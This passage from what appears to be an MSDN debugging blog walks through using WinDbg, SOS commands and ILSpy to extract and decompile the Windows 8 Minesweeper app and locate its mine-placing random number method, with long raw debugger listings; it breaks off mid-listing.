\- Since this is a .NET application, let’s extract what seems to be the main
module and decompile it:

**dd minesweeper\_ni L1**

70050000 00005a4d

**\!savemodule 70050000 minesweeper.dll**

4 sections in file

section 0 - VA=1000, VASize=309a0, FileAddr=400,FileSize=30a00

section 1 - VA=32000, VASize=bed4,FileAddr=30e00, FileSize=c000

section 2 - VA=3e000,VASize=11e7e8, FileAddr=3ce00, FileSize=11e800

section 3 - VA=15d000, VASize=1095c,FileAddr=15b600, FileSize=10a00

\- **Note:** The address numbers you’ll get are very likely to be different
from mine and during the debugging session I had to  
restart the app a few times, so the addresses changed again. This is normal,
don’t worry about it.

\- Use ILSpy to decompile **minesweeper.dll**.

\- Curiosity: At Microsoft we have an internal WinDbg extension that shows the
decompiled methods we want in the WinDbg window so I wouldn’t need ILSpy.

\- Click on **MineSweeper** module -> **Minesweeper class** ->
**MinesweeperGame** -> **InitGameInternal\(\)**. Why is that? Just  
my initial hypothesis:

\- From **MinesweeperGame** we see:

// Minesweeper.MinesweeperGame

private void **InitGameInternal**\(\)

MinerApp.get\_Instance\(\).remove\_InitGameInternal\(new
OnInitGameInternal\(this.InitGameInternal\)\);

this.GameView.set\_Visible\(true\);

this.GameView.Initialize\(\);

<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-81-63/6545.ILSPY_5F00_1.png' />

\- Click on **OnInitGameInternal\(\)** above. It requires **Minesweeper\_UI**
module. Locate it and use **\!savemodule** to extract the assembly from the
dump file.

\- The calls above are part of **MinesweeperUI** module.

**lmv m minesweeperUI\***

start end module name

06360000 06504000 **MinesweeperUI\_DP4\_ni** \(deferred\)

Image path:
C:\Users\rafarah\AppData\Local\Packages\microsoft.microsoftminesweeper\_8wekyb3d8bbwe\AC\Microsoft\CLR\_v4.0\_32\NativeImages\MinesweeperUI-
DP4\8297c77d52bd63759d14836366cf3821\MinesweeperUI-DP4.ni.dll

Image name: MinesweeperUI-DP4.ni.dll

Timestamp: Thu Jan 23 06:09:01 2014 \(52E1227D\)

CheckSum: 00000000

ImageSize: 001A4000

File version: 1.0.0.0

Product version: 1.0.0.0

File flags: 0 \(Mask 3F\)

File OS: 4 Unknown Win32

File type: 2.0 Dll

File date: 00000000.00000000

Translations: 0000.04b0

CompanyName: Microsoft

ProductName: MinesweeperUI

InternalName: MinesweeperUI-DP4.dll

OriginalFilename: MinesweeperUI-DP4.dll

ProductVersion: 1.0.0.0

FileVersion: 1.0.0.0

FileDescription: MinesweeperUI

LegalCopyright: Copyright © Microsoft 2012

**\!savemodule 06800000 MinesweeperUI\_DP4\_ni.dll**

4 sections in file

section 0 - VA=1000, VASize=4010c, FileAddr=400,FileSize=40200

section 1 - VA=42000, VASize=c0ac,FileAddr=40600, FileSize=c200

section 2 - VA=4f000, VASize=141438,FileAddr=4c800, FileSize=141600

section 3 - VA=191000, VASize=12768,FileAddr=18de00, FileSize=12800

\- There are a lot of classes and methods, so scanning the source code is not
an effective approach. We need to try to reduce the debugging time as much as
we can while finding the parts of the code we are interested in. So let's try
another approach.

\- How do we start? Someone used to debugging Win 8 applications may have used
a different starting point. A game developer may have yet another starting
point. I decided to use something that virtually all games have in common:
**Random number generators.**

\- So now we need to find out when the mines are randomically created and put
in the possible _array_ representing the board. To do that let's Search for
members which have the Random word.

Among many methods there is one called **GenerateRandomNumbers**\(\) from
**Minesweeper.MvvmStructureModel/ChooseBoardDataSource/GenerateRandomNumbers**\(\):

private int\[\] **GenerateRandomNumbers**\(int maxMines = -1\)

List<int> list = new List<int>\(\);

List<int> list2 = new List<int>\(\);

int num = \(maxMines == -1\) ? this.\_minesCount : maxMines;

for \(int i = 0; i < this.\_boardWidth \* this.\_boardHeight; i++\)

list2.Add\(i\);

Random random = new Random\(\);

for \(int j = 0; j < num; j++\)

int index = random.Next\(0, list2.Count\);

list.Add\(list2\[index\]\);

list2.RemoveAt\(index\);

return list.ToArray\(\); **< << It is, in fact, an Array.**

<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-81-63/2783.ILSPY_5F00_2.png' />

We could use a breakpoint here if we wanted.

\- Let's locate the module:

**\!Name2EE \*\!GenerateRandomNumbers**

Module:  
2f741000

Assembly:  
Minesweeper.exe

<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-81-63/1004.dbg_5F00_1.png' />

**\!dumpmodule -mt 2f741000**

Name:  
C:\Program  
Files\WindowsApps\Microsoft.MicrosoftMinesweeper\_2.2.1401.2303\_x86\_\_8wekyb3d8bbwe\Minesweeper.exe

Attributes: PEFile

Assembly:  
00fb6488

LoaderHeap: 00000000

TypeDefToMethodTableMap: 2f881008

TypeRefToMethodTableMap: 2f76a710

MethodDefToDescMap: 2f8811bc

FieldDefToDescMap: 2f76b2c0

MemberRefToDescMap: 00000000

FileReferencesMap: 2f7413b0

AssemblyReferencesMap: 2f7413b4

MetaData start address: 2f7ab090 \(289932 bytes\)

Types defined in this module

MT TypeDef Name

\------------------------------------------------------------------------------

2f74806c 0x02000002 Minesweeper.App

2f860220 0x02000003  
Minesweeper.BookmarkConfiguration

2f860298 0x02000004  
Minesweeper.XboxLiveConfiguration

2f8600ec 0x02000005  
Minesweeper.IocRegistrationHelper

2f8602cc 0x02000006  
Minesweeper.IocRegistrationHelper+ThemeUpdateHelper

2f7494d8 0x02000007 Minesweeper.LoaderPage

2f858b0c 0x02000008 Minesweeper.ActivationState

2f860158 0x02000009 Minesweeper.MinesweeperGame

2f858bac 0x0200000a Minesweeper.SuspendReason

2f8658fc 0x0200000b  
Minesweeper.MvvmStructure.Helpers.ExtendedTileItem

2f8661f8 0x0200000c  
Minesweeper.MvvmStructure.Helpers.CollectionTileItem

2f86036c 0x0200000d  
Minesweeper.MvvmStructure.Helpers.CreditsInfo

2f858be4 0x0200000e  
Minesweeper.MvvmStructure.Helpers.GamesTileTemplates

2f866278 0x0200000f  
Minesweeper.MvvmStructure.Helpers.GamesTileItem

2f8662c4 0x02000010  
Minesweeper.MvvmStructure.Helpers.HelpTileConst

2f858c10 0x02000011  
Minesweeper.MvvmStructure.Helpers.HelpTileConst+HelpIndex

2f858c48 0x02000012  
Minesweeper.MvvmStructure.Helpers.HelpTileConst+HelpIndexPosition

2f866334 0x02000013  
Minesweeper.MvvmStructure.Helpers.HelpTileItem

2f858c80 0x02000014  
Minesweeper.MvvmStructure.Helpers.IMinesweeperPopup

2f858cbc 0x02000015  
Minesweeper.MvvmStructure.Helpers.IScoreBar

2f7488c0 0x02000016  
Minesweeper.MvvmStructure.Helpers.ItemDataTemplateSelector

2f858cf8 0x02000017
Minesweeper.MvvmStructure.Helpers.ItemDataTemplateSelector+ItemTemplate

2f858d44 0x02000018  
Minesweeper.MvvmStructure.Helpers.ObservableRangeCollection\`1

2f8601b0 0x02000019  
Minesweeper.MvvmStructure.Helpers.PinArgumentsHelper

2f858e80 0x0200001a  
Minesweeper.MvvmStructure.Helpers.RenderingModes

2f858eb8 0x0200001b  
Minesweeper.MvvmStructure.Helpers.IRenderMode

2f8664e4 0x0200001c  
Minesweeper.MvvmStructure.Helpers.CompositionRendering

2f865ce0 0x0200001d  
Minesweeper.MvvmStructure.Helpers.StoryboardRendering

2f86502c 0x0200001e Minesweeper.MvvmStructure.Helpers.RenderController

2f865c70 0x0200001f  
Minesweeper.MvvmStructure.Helpers.ScoreBarFactory

2f858ef8 0x02000020  
Minesweeper.MvvmStructure.Helpers.StatisticsTileTemplates

2f865888 0x02000021  
Minesweeper.MvvmStructure.Helpers.StatisticTileItem

2f866528 0x02000022  
Minesweeper.MvvmStructure.Helpers.Gradient

2f86655c 0x02000023  
Minesweeper.MvvmStructure.Helpers.TileDataItemFactory

2f858f24 0x02000024  
Minesweeper.MvvmStructure.Helpers.UiVisualGroupId

2f8665e4 0x02000025 Minesweeper.MvvmStructure.Model.ModeSettingsDataSourceBase

2f865a34  
0x02000026 Minesweeper.MvvmStructure.Model.ChooseBoardDataSource

2f865e9c 0x02000027  
Minesweeper.MvvmStructure.Model.MinesweeperDataSourceBase

2f866644 0x02000028  
Minesweeper.MvvmStructure.Model.HelpAdventureDataSource

2f8666a0 0x02000029  
Minesweeper.MvvmStructure.Model.HelpAdventureDataSourceZoomedOut

2f866714 0x0200002a  
Minesweeper.MvvmStructure.Model.DailyChallengePageModel

2f860324 0x0200002b  
Minesweeper.MvvmStructure.Model.Day0PopupDataSource

2f86679c 0x0200002c  
Minesweeper.MvvmStructure.Model.HelpDataSource

2f8667f8 0x0200002d  
Minesweeper.MvvmStructure.Model.HelpDataSourceZoomedOut

2f865a94 0x0200002e  
Minesweeper.MvvmStructure.Model.GamesMenuDataSource

2f866854 0x0200002f
Minesweeper.MvvmStructure.Model.HelpAdventureMenuDataSource

2f8668cc 0x02000030  
Minesweeper.MvvmStructure.Model.HelpMenuDataSource

2f866930 0x02000031  
Minesweeper.MvvmStructure.Model.LeaderboardsMenuDataSource

2f86698c 0x02000032  
Minesweeper.MvvmStructure.Model.ZoomedLeaderboardDataSource

2f865b30 0x02000033  
Minesweeper.MvvmStructure.Model.StatisticsMenuDataSource

2f865b90 0x02000034  
Minesweeper.MvvmStructure.Model.ThemesMenuDataSource

2f86046c 0x02000035  
Minesweeper.MvvmStructure.Model.GamePageModel

2f86599c 0x02000036 Minesweeper.MvvmStructure.Model.SettingsModel

2f860594 0x02000037  
Minesweeper.MvvmStructure.Model.StatisticsPageDataSource

2f866a20 0x02000038  
Minesweeper.MvvmStructure.Model.TutorialPopupModel

2f860424 0x02000039  
Minesweeper.MvvmStructure.Service.MinesweeperAwardsService

2f8602f8 0x0200003a  
Minesweeper.MvvmStructure.Service.MinesweeperDailyChallengeService

2f8603f8 0x0200003b  
Minesweeper.MvvmStructure.Service.PopupService

2f864fec 0x0200003c  
Minesweeper.MvvmStructure.Service.SettingsService

2f866ab4 0x0200003d Minesweeper.MvvmStructure.ViewModel.AwardsPageViewModel

2f860b74 0x0200003e  
Minesweeper.MvvmStructure.ViewModel.ChooseBoardViewModel

2f860744 0x0200003f  
Minesweeper.MvvmStructure.ViewModel.HelpAdventurePageViewModel

2f866b48 0x02000040
Minesweeper.MvvmStructure.ViewModel.DailyChallengePageViewModel

2f860d24 0x02000041  
Minesweeper.MvvmStructure.ViewModel.GamePageViewModel

2f860c04 0x02000042  
Minesweeper.MvvmStructure.ViewModel.GoalDescriptionPopupViewModel

2f8606b4 0x02000043  
Minesweeper.MvvmStructure.ViewModel.HelpPageViewModel

2f865dc8 0x02000044  
Minesweeper.MvvmStructure.ViewModel.LeaderboardsMenuControlViewModel

2f866108 0x02000045  
Minesweeper.MvvmStructure.ViewModel.LeaderboardsPageViewModel

2f866b90 0x02000046  
Minesweeper.MvvmStructure.ViewModel.MainPageViewModel

2f866c20 0x02000047  
Minesweeper.MvvmStructure.ViewModel.Menu.AwardsMenuControlViewModel

2f8607d4 0x02000048  
Minesweeper.MvvmStructure.ViewModel.GamesMenuViewModel

2f8608a4 0x02000049  
Minesweeper.MvvmStructure.ViewModel.HelpAdventureMenuViewModel

2f860934 0x0200004a  
Minesweeper.MvvmStructure.ViewModel.HelpMenuViewModel

2f860a54 0x0200004b  
Minesweeper.MvvmStructure.ViewModel.LeaderboardsMenuViewModel

2f860664 0x0200004c  
Minesweeper.MvvmStructure.ViewModel.StatisticsMenuViewModel

2f860984 0x0200004d Minesweeper.MvvmStructure.ViewModel.ThemesMenuViewModel

2f860ae4 0x0200004e  
Minesweeper.MvvmStructure.ViewModel.SettingsControlViewModel

2f86053c 0x0200004f  
Minesweeper.MvvmStructure.ViewModel.StatisticsPageViewModel

2f860c94 0x02000050 Minesweeper.MvvmStructure.ViewModel.TutorialPopupViewModel

2f74846c 0x02000051  
Minesweeper.MvvmStructure.View.Controls.SimpleMessagePopupControl

2f748554 0x02000052  
Minesweeper.MvvmStructure.View.Controls.AdventureToolPopupControl

2f858f5c 0x02000053
Minesweeper.MvvmStructure.View.Pages.AdventureHud.MinesweeperAdventureHudElements

2f858f94 0x02000054  
Minesweeper.MvvmStructure.View.Pages.AdventureHud.ICommonHud

2f866cb4 0x02000055  
Minesweeper.MvvmStructure.View.Pages.AdventureHud.AdventureGuiCodeBehind

2f866d68 0x02000056
Minesweeper.MvvmStructure.View.Pages.AdventureHud.AdventureGuiCurrentState

2f866da0 0x02000057  
Minesweeper.MvvmStructure.View.Pages.AdventureHud.NumbersStackPanel

2f866e08 0x02000058  
Minesweeper.MvvmStructure.View.Pages.AdventureHud.LevelNameStackPanel

2f866e40 0x02000059  
Minesweeper.MvvmStructure.View.Pages.ClassicHud.ClassicBackPanel

2f859008 0x0200005a  
Minesweeper.MvvmStructure.View.Pages.ClassicHud.GuiStates

2f866e8c 0x0200005b  
Minesweeper.MvvmStructure.View.Pages.ClassicHud.ClassicGuiCodeBehind

2f866f44 0x0200005c  
Minesweeper.MvvmStructure.View.Pages.ClassicHud.MinesPanel

2f866fcc 0x0200005d  
Minesweeper.MvvmStructure.View.Pages.ClassicHud.SwitchModePanel

2f866f7c 0x0200005e  
Minesweeper.MvvmStructure.View.Pages.ClassicHud.TimerPanel

2f867080 0x0200005f
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.DailyChallengeGuiCodeBehind

2f867444 0x02000060  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.DailyChallengeInfoPanel

2f8670ec 0x02000061  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.DailyChallengeTimerPanel

2f86579c 0x02000062 Minesweeper.ViewModelLocator

2f7482b0 0x02000063  
Minesweeper.MvvmStructure.View.Controls.ClassicCusomModeSettingsControl

2f7481d4 0x02000064  
Minesweeper.MvvmStructure.View.Controls.ChooseBoardDynamicContentControl

2f748398 0x02000065  
Minesweeper.MvvmStructure.View.Controls.HelpAdventureMenuControl

2f74862c 0x02000066  
Minesweeper.MvvmStructure.View.Controls.SnapDisableControl

2f748708 0x02000067  
Minesweeper.MvvmStructure.View.Controls.GamesMenuControl

2f7487f4 0x02000068 Minesweeper.MvvmStructure.View.Controls.HelpMenuControl

2f74892c 0x02000069  
Minesweeper.MvvmStructure.View.Controls.StatsMenuControl

2f748a10 0x0200006a  
Minesweeper.MvvmStructure.View.Controls.ThemesMenuControl

2f748aec 0x0200006b Minesweeper.MvvmStructure.View.Controls.PreloaderControl

2f748bc8 0x0200006c  
Minesweeper.MvvmStructure.View.Controls.SettingsControl

2f748cb0 0x0200006d  
Minesweeper.MvvmStructure.View.Controls.TutorialControl

2f85a094 0x0200006e  
Minesweeper.MvvmStructure.View.Controls.TutorialControl+AnimationStates

2f748d90 0x0200006f  
Minesweeper.MvvmStructure.View.Controls.TutorialPopupControl

2f748e70 0x02000070  
Minesweeper.MvvmStructure.View.Pages.ArkadiumLogoPage

2f8676dc 0x02000071  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.Bar.DailyChallengeProgressBar

2f8671f4 0x02000072  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.DailyChallengeIterationPanel

2f8677fc 0x02000073  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.Bar.ProgressBarSettings

2f85a8f8 0x02000074
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.IIterationBarState

2f86775c 0x02000075  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.IterationBarStartState

2f8677cc 0x02000076  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.IterationBarAnimateState

2f867408 0x02000077  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.IterationBarDefaultState

2f867a60 0x02000078  
Minesweeper.MvvmStructure.View.Pages.DailyChallengeHud.ProgressBarCell

2f85ab0c 0x02000079  
Minesweeper.MvvmStructure.View.Pages.Gamepage.Controlls.States.IGameplayFlow

2f867b48 0x0200007a  
Minesweeper.MvvmStructure.View.Pages.Gamepage.Controlls.States.DailyChallengeFlow

2f867b88 0x0200007b  
Minesweeper.MvvmStructure.View.Pages.Gamepage.Controlls.States.RegularModeFlow

2f748f5c 0x0200007c  
Minesweeper.MvvmStructure.View.Pages.MinesweeperBasePage

2f749040 0x0200007d  
Minesweeper.MvvmStructure.View.Pages.HelpAdventurePage

2f865c0c 0x0200007e  
Minesweeper.MvvmStructure.View.Pages.AppbarsController

2f865ca8 0x0200007f Minesweeper.MvvmStructure.View.Pages.ViewController

2f865bd4 0x02000080  
Minesweeper.MvvmStructure.View.Pages.GameendScenario

2f749120 0x02000081  
Minesweeper.MvvmStructure.View.Pages.GamePage

2f865c44 0x02000082  
Minesweeper.MvvmStructure.View.Pages.Gamepage.GameplayController

2f749218 0x02000083  
Minesweeper.MvvmStructure.View.Pages.HelpPage

2f749308 0x02000084  
Minesweeper.MvvmStructure.View.Pages.MainPage

2f7493e8 0x02000085  
Minesweeper.MvvmStructure.View.Pages.StatisticsPage

2f867c00 0x02000086 Minesweeper.Program

2f8601e8 0x02000087  
Minesweeper.Minesweeper\_XamlTypeInfo.XamlTypeInfoProvider

2f867c38 0x02000088  
Minesweeper.Minesweeper\_XamlTypeInfo.XamlSystemBaseType

2f85bc5c 0x02000089  
Minesweeper.Minesweeper\_XamlTypeInfo.Activator

2f85bce8 0x0200008a  
Minesweeper.Minesweeper\_XamlTypeInfo.AddToCollection

2f85bd4c 0x0200008b  
Minesweeper.Minesweeper\_XamlTypeInfo.AddToDictionary

2f865708 0x0200008c  
Minesweeper.Minesweeper\_XamlTypeInfo.XamlUserType

2f85be40 0x0200008d  
Minesweeper.Minesweeper\_XamlTypeInfo.Getter

2f85bea4 0x0200008e Minesweeper.Minesweeper\_XamlTypeInfo.Setter

2f867d30 0x0200008f  
Minesweeper.Minesweeper\_XamlTypeInfo.XamlMember

2f867d88 0x02000090  
Minesweeper.App+<OnApplicationLaunched>d\_\_2

2f867e18 0x02000091  
Minesweeper.App+<InitializeAchievements>d\_\_7

2f867e6c 0x02000092 Minesweeper.App+<LoadMinesweeperSettings>d\_\_c

2f867ed8 0x02000093  
Minesweeper.App+<<InitGame>b\_\_13>d\_\_17

2f867f5c 0x02000094  
Minesweeper.App+<RegisterTiles>d\_\_1a

2f867fc8 0x02000095  
Minesweeper.IocRegistrationHelper+ThemeUpdateHelper+<<OnThemeInfoLoaded>b\_\_20>d\_\_22

2f86802c 0x02000096  
Minesweeper.MinesweeperGame+<OnGameSuspending>d\_\_1

2f868080 0x02000097  
Minesweeper.MvvmStructure.Model.ModeSettingsDataSourceBase+<CustomSettingsChanged>d\_\_0

2f8680ec 0x02000098  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource+<SaveSettings>d\_\_1

2f868158 0x02000099  
Minesweeper.MvvmStructure.Model.Day0PopupDataSource+<OnUpdate>d\_\_1

2f8681bc 0x0200009a  
Minesweeper.MvvmStructure.Model.HelpDataSource+<Init>d\_\_3

2f868240 0x0200009b  
Minesweeper.MvvmStructure.Model.HelpDataSource+<Themes\_OnThemeChanged>d\_\_7

2f8682ac 0x0200009c  
Minesweeper.MvvmStructure.Model.HelpDataSource+<GetSelectedThemeBackground>d\_\_c

2f868318 0x0200009d  
Minesweeper.MvvmStructure.Model.GamesMenuDataSource+<Init>d\_\_3

2f868384 0x0200009e
Minesweeper.MvvmStructure.Model.GamesMenuDataSource+<CreateADailyChallengeTile>d\_\_a

2f8683d8 0x0200009f  
Minesweeper.MvvmStructure.Model.GamesMenuDataSource+<CreateAdventureModeTile>d\_\_e

2f85c42c 0x020000a0 <>f\_\_AnonymousType0\`2

2f865fd4 0x020000a1  
Minesweeper.MvvmStructure.Model.GamesMenuDataSource+<>c\_\_DisplayClass1b

2f868508 0x020000a2  
Minesweeper.MvvmStructure.Model.GamesMenuDataSource+<CreateClassicTileItem>d\_\_1e

2f86855c 0x020000a3  
Minesweeper.MvvmStructure.Model.LeaderboardsMenuDataSource+<Init>d\_\_0

2f8685e0 0x020000a4
Minesweeper.MvvmStructure.Model.LeaderboardsMenuDataSource+<CreateTileLeaderboard>d\_\_4

2f85c5a4 0x020000a5 <>f\_\_AnonymousType1\`8

2f86600c 0x020000a6  
Minesweeper.MvvmStructure.Model.StatisticsMenuDataSource+<>c\_\_DisplayClass3

2f866190 0x020000a7
Minesweeper.MvvmStructure.Model.StatisticsMenuDataSource+<>c\_\_DisplayClass3+<>c\_\_DisplayClass5

2f868728 0x020000a8  
Minesweeper.MvvmStructure.Model.ThemesMenuDataSource+<Init>d\_\_0

2f868794 0x020000a9  
Minesweeper.MvvmStructure.Model.ThemesMenuDataSource+<CreateTile>d\_\_3

2f868818 0x020000aa  
Minesweeper.MvvmStructure.Model.GamePageModel+<PreloadPageImages>d\_\_6

2f868884 0x020000ab  
Minesweeper.MvvmStructure.Model.GamePageModel+<Update>d\_\_9

2f8688d8 0x020000ac  
Minesweeper.MvvmStructure.Model.GamePageModel+<UpdateSwitchButtonContent>d\_\_c

2f865820 0x020000ad  
Minesweeper.MvvmStructure.Service.MinesweeperAwardsService+<>c\_\_DisplayClass2

2f8657e8 0x020000ae  
Minesweeper.MvvmStructure.Service.MinesweeperDailyChallengeService+<>c\_\_DisplayClass4

2f85c85c 0x020000af  
<PrivateImplementationDetails>\{B7AC8F84-9FAE-4374-B422-C42E1B374C0B\}

2f86895c 0x020000b0  
Minesweeper.MvvmStructure.View.Controls.ClassicCusomModeSettingsControl+<ButtonStartGameOnClick>d\_\_0

2f8689c8 0x020000b1  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<TimerOnOffToggled>d\_\_3

2f868a34 0x020000b2  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<TipsOnOffToggled>d\_\_6

2f868a88 0x020000b3  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<QuestionMarkOnOffToggled>d\_\_9

2f868af4 0x020000b4
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<OneTapOnOffToggled>d\_\_c

2f868b78 0x020000b5  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<QuickChangeOnOffToggled>d\_\_f

2f868bcc 0x020000b6  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<SwipeInControlsOnOffToggled>d\_\_12

2f868c50 0x020000b7  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<OnOfGameEndAnimationsToggled>d\_\_15

2f868cbc 0x020000b8  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<SoundsSliderOnValueChangeComplete>d\_\_18

2f868d28 0x020000b9  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<OnConfirmResetSettings>d\_\_1f

2f868d94 0x020000ba  
Minesweeper.MvvmStructure.View.Controls.SettingsControl+<ResetSettings>d\_\_22

2f868e00 0x020000bb  
Minesweeper.MvvmStructure.View.Pages.ArkadiumLogoPage+<SetModel>d\_\_0

2f868e64 0x020000bc  
Minesweeper.MvvmStructure.View.Pages.ArkadiumLogoPage+<OnAnimationCompleted>d\_\_e

2f868ed0 0x020000bd  
Minesweeper.MvvmStructure.View.Pages.Gamepage.Controlls.States.DailyChallengeFlow+<Activate>d\_\_0

2f868f24 0x020000be  
Minesweeper.MvvmStructure.View.Pages.Gamepage.Controlls.States.RegularModeFlow+<Activate>d\_\_0

2f8660c0 0x020000bf  
Minesweeper.MvvmStructure.View.Pages.GameendScenario+<>c\_\_DisplayClass5

2f868fa8 0x020000c0  
Minesweeper.MvvmStructure.View.Pages.GamePage+<<OnInputControlsSwitched>b\_\_2>d\_\_4

2f868ffc 0x020000c1  
Minesweeper.MvvmStructure.View.Pages.Gamepage.GameplayController+<SetFlow>d\_\_0

2f869080 0x020000c2  
Minesweeper.MvvmStructure.View.Pages.Gamepage.GameplayController+<SetupCurrentMode>d\_\_3

2f865d40 0x020000c3  
Minesweeper.MvvmStructure.View.Pages.MainPage+<>c\_\_DisplayClass1

2f865e08 0x020000c4  
Minesweeper.MvvmStructure.View.Pages.MainPage+<>c\_\_DisplayClass1a

Types referenced in this module

MT TypeRef Name

\------------------------------------------------------------------------------

604026a4 0x02000004 System.Object

604038c4 0x02000007 System.Enum

06af8d00 0x0200000b  
Common.Controls.Models.DataSourceBase

06aeb644 0x0200000c  
Common.Controls.Models.ITileDataTemplate

5f82b420 0x0200000f System.Collections.ObjectModel.ObservableCollection\`1

60403898 0x02000010 System.ValueType

0703f2c4 0x02000015  
Arkadium.LeaderboardModule.ViewModel.Controls.LeaderboardsMenuControlBaseViewModel

603f6770 0x02000022 System.MulticastDelegate

60403424 0x02000030 System.Type

603f4420 0x02000036 System.EventHandler

603f6630 0x02000038 System.EventArgs

603f7400 0x02000048 System.Action

30c5e080 0x0200004a Windows.UI.Xaml.Visibility

06b8543c 0x0200004c Windows.UI.Color

06afad4c 0x0200004d  
Common.Controls.Models.DataGroup

06b85350 0x02000058 Windows.Foundation.Size

603f76c4 0x02000059 System.Threading.Tasks.Task

07a15bbc 0x0200005c Windows.UI.Xaml.Thickness

3096cc6c 0x02000062 Windows.UI.Xaml.Media.Brush

06af9c20 0x02000065 Common.CommonCommand

5003af44 0x02000074 GalaSoft.MvvmLight.Command.RelayCommand

604069ec 0x02000093 System.Decimal

603f7254 0x020000dd System.IAsyncResult

603fbe54 0x020000df  
System.Runtime.Versioning.TargetFrameworkAttribute

60401e4c 0x020000e0  
System.Reflection.AssemblyTitleAttribute

60401ecc 0x020000e1  
System.Reflection.AssemblyDescriptionAttribute

60401e8c 0x020000e2  
System.Reflection.AssemblyConfigurationAttribute

60401f8c 0x020000e3  
System.Reflection.AssemblyCompanyAttribute

60401fcc 0x020000e4  
System.Reflection.AssemblyProductAttribute

60402044 0x020000e5  
System.Reflection.AssemblyCopyrightAttribute

60402084 0x020000e6  
System.Reflection.AssemblyTrademarkAttribute

604020c4 0x020000e9  
System.Reflection.AssemblyFileVersionAttribute

60401900 0x020000ea  
System.Runtime.InteropServices.ComVisibleAttribute

60401b70 0x020000eb  
System.Diagnostics.DebuggableAttribute

60401c14 0x020000ed  
System.Runtime.CompilerServices.CompilationRelaxationsAttribute

604017ec 0x020000ee  
System.Runtime.CompilerServices.RuntimeCompatibilityAttribute

603f88cc 0x020000f6
System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken

603fa3a0 0x020000f7  
System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal

60402304 0x020000fa System.String

603fadb0 0x020000fe  
System.Runtime.CompilerServices.IAsyncStateMachine

603fa324 0x020000ff  
System.Runtime.CompilerServices.AsyncVoidMethodBuilder

603c9010 0x02000100  
System.Runtime.CompilerServices.TaskAwaiter

6040244c 0x02000109 System.Exception

6040244c 0x0200010a System.Exception

603fa068 0x02000137 System.Runtime.CompilerServices.AsyncTaskMethodBuilder

60403424 0x0200013e System.Type

60403944 0x02000148 System.Delegate

60404650 0x02000149 System.Threading.Interlocked

603f591c 0x02000175  
System.NotImplementedException

5fffc6f4 0x0200019b System.IDisposable

603f7400 0x0200019f System.Action

603f82b4 0x020001ab  
System.Collections.IEnumerator

5fffb534 0x020001ae System.Collections.IList

60402cfc 0x020001b0 System.Char

603f4278 0x020001bc System.Random

60403c54 0x020001bf System.Int32

60404c54 0x020001c0 System.Text.StringBuilder

5fffb5e4 0x020001c6  
System.Collections.IEnumerable

6040663c 0x020001d4  
System.Threading.AutoResetEvent

603fc2e8 0x020001e4 System.UInt32

603f51bc 0x02000218 System.Nullable\`1

604067e0 0x02000229 System.Guid

603fb5a4 0x0200022f System.Double

603f51bc 0x0200028e System.Nullable\`1

603fb4c0 0x020002bf System.Boolean

603f4b8c 0x020002db System.ArgumentException

603f4320 0x020002dd  
System.InvalidOperationException

\- Search for **Minesweeper.MvvmStructure.Model.ChooseBoardDataSource** and
the the Method Table address:

**\!dumpmt -md 2f865a34**

EEClass: 2f751884

Module: 2f741000

Name: Minesweeper.MvvmStructure.Model.ChooseBoardDataSource

mdToken: 02000026

File: C:\Program
Files\WindowsApps\Microsoft.MicrosoftMinesweeper\_2.2.1401.2303\_x86\_\_8wekyb3d8bbwe\Minesweeper.exe

BaseSize: 0x38

ComponentSize: 0x0

Slots in VTable: 49

Number of IFaces in IFaceMap: 3

\--------------------------------------

MethodDesc Table

Entry  
MethodDe JIT Name

6030a630 5fff801c PreJIT System.Object.ToString\(\)

602ff750 5fff8024 PreJIT  
System.Object.Equals\(System.Object\)

602ff380 5fff8044 PreJIT  
System.Object.GetHashCode\(\)

602ff040 5fff8058 PreJIT System.Object.Finalize\(\)

5002a4b8 50025560 PreJIT  
GalaSoft.MvvmLight.ObservableObject.add\_PropertyChanged\(System.ComponentModel.PropertyChangedEventHandler\)

5002a4d8 50025570 PreJIT  
GalaSoft.MvvmLight.ObservableObject.remove\_PropertyChanged\(System.ComponentModel.PropertyChangedEventHandler\)

5002a4e8 50025590 PreJIT  
GalaSoft.MvvmLight.ObservableObject.add\_PropertyChanging\(System.ComponentModel.PropertyChangingEventHandler\)

5002a4f8 500255a0 PreJIT  
GalaSoft.MvvmLight.ObservableObject.remove\_PropertyChanging\(System.ComponentModel.PropertyChangingEventHandler\)

5002a4b0 500255d0 PreJIT
GalaSoft.MvvmLight.ObservableObject.RaisePropertyChanging\(System.String\)

5002a4c0 500255dc PreJIT  
GalaSoft.MvvmLight.ObservableObject.RaisePropertyChanged\(System.String\)

5002a020 500255ec NONE  
GalaSoft.MvvmLight.ObservableObject.RaisePropertyChanging\(System.Linq.Expressions.Expression\`1<System.Func\`1<\!\!0>>\)

5002a040 50025600 NONE  
GalaSoft.MvvmLight.ObservableObject.RaisePropertyChanged\(System.Linq.Expressions.Expression\`1<System.Func\`1<\!\!0>>\)

5002a530 50025770 PreJIT  
GalaSoft.MvvmLight.ViewModelBase.Cleanup\(\)

5002a050 5002577c NONE  
